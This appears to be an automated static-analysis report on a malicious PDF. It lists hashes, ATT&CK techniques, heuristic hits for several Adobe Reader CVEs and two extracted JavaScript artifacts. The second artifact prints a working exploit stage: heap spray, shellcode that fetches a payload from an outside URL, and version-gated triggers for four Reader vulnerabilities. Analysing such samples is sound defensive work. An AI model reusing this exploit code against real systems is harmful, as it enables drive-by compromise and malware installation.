Malicious PDF / .TXT — malware analysis report

Static analysis result for SHA-256 d78ae6552ad4abe5…

MALICIOUS

PDF / .TXT

12.8 KB Created: 2010-04-08 22:58:01 First seen: 2026-05-10
MD5: 1b2da2e6de52d9b7a959a3c4f0cff01f SHA-1: c488e82e4c27cdb45a94f08271f8fd06df7e2768 SHA-256: d78ae6552ad4abe56d22a58532069f5c6d224a7d45bfb23fba716d20dff3b55c
450 Risk Score

Malware Insights

MITRE ATT&CK
T1566.002 Spearphishing Attachment T1059.001 PowerShell

The high-severity heuristic 'SE_PASSWORD_ARCHIVE_LURE' indicates the document's primary purpose is to deceive the user into providing a password for an archive, which is a common tactic for bypassing gateway security. The embedded JavaScript, while obfuscated, likely plays a role in this delivery mechanism. The presence of a SHA256 hash suggests a specific file artifact associated with this lure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://cian1.ru/blog/file.php?spl=00 Referenced by PDF JavaScript
    • http://in.ubo/ieppsl0Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0020_000.js pdf-javascript-stream PDF /JS object 20 at offset 0x293D 38650 bytes
SHA-256: efe8ac88cec7c8f34b60e5273a8a37f2a8377e5175a13b7de4df1a9a1eabbdda
Preview script
First 1,000 lines of the extracted script
/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */     var aGoogle/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */=                         [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"ca"     ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"es"                                                                                         ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */""         ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"pe"                                                                             ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"un"                                                         ];/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */mail                                                                                                 =/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */new                                                                                              String/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */(                         aGoogle/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[                                                         4/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                                                                     +/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */aGoogle                         [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */1                                     ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */+                                     aGoogle/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[                                     0/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                                                                     +/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */aGoogle             [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */3                                                                                                 ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */+                                     aGoogle/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[                                                             2/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                                                                                     )/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */;                                     /* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */var adobe                                                                 =/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[                                 "o"/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */,                                                     "C"/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */,                                                         "h"/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */,                         "t"/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */,                                                                                     "d"/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */,                                                     "a"/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */,                         ""/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */,                                                                                 "A"/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */,                 "r"/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */,                                                 "e"/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */,     "c"/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */];                                 c/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */=                                                                                                 new/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */ String         (/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */adobe                                 [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */10                 ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */+                                                                                         adobe/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[                                                                 2/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                                         +/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */adobe                                                                                                 [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */5                             ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */+                                                                                     adobe/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[                             8/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                                                                         +/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */adobe                                                 [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */1                                                                     ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */+                                                                                                 adobe/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[                                                                                 0/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                                                 +/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */adobe                 [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */4             ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */+                                                                                     adobe/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[                             9/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                                                             +/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */adobe                                         [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */7                                                                                     ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */+                                                         adobe/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[ 3/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                 +/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */adobe                 [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */6                                                                                                 ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */)                                                                         ;/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */                                                                         var get/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */=                                             [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"Wo"                                                                                     ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"ge"                                         ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"th"         ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"tP"                                                                     ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"rd"                                                     ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"ag"     ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"eN"                         ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */""                         ];/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */window =/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */new  String/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */(                     get/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[                                                                             1/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                             +/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */get                                                                                             [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */3                                                                 ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */+                         get/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[                                     5/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                                                 +/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */get                     [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */6                                     ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */+                                                                                             get/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[ 2/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                         +/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */get             [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */0                                                             ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */+                 get/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[         4/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                                                     +/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */get                                                                             [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */7                             ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */)                                                                         ;/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */                                                                                         var unlock/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */=                                                                         [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"Wo"                                                                         ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"eN"                                                                                     ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"ge"                                                                                         ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"tP"                                                 ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */""             ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"s"         ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"rd"                                                                                     ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"um"     ,/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */"ag"                                                 ];/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */send                                                                                 =/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */new              String/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */(         unlock/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[                 2/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                                                                 +/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */unlock                                                                     [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */3                         ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */+             unlock/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[                                                                                                 8/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */]                                                         +/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */unlock                                                                                         [/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */1                                         ]/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */+         unlock/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
abutilon */[                                         7/* abstrusity abler
abrocoma
shit
whitney
email
absinthian
orwell
library
…
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3455 bytes
SHA-256: c9e0b6f3065bedd601696eb918b5ef62c096436d6eba3c8b1283331c4bb47560
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://cian1.ru/blog/file.php?spl=00 */
var _u="http://cian1.ru/blog/file.php?spl=00";
�������Ȼ������ȸ���������
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);

	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();

�ܸ���ܸ���ظ��������鸺���������������������������ܽ����������������Ƚ����� ���������   �T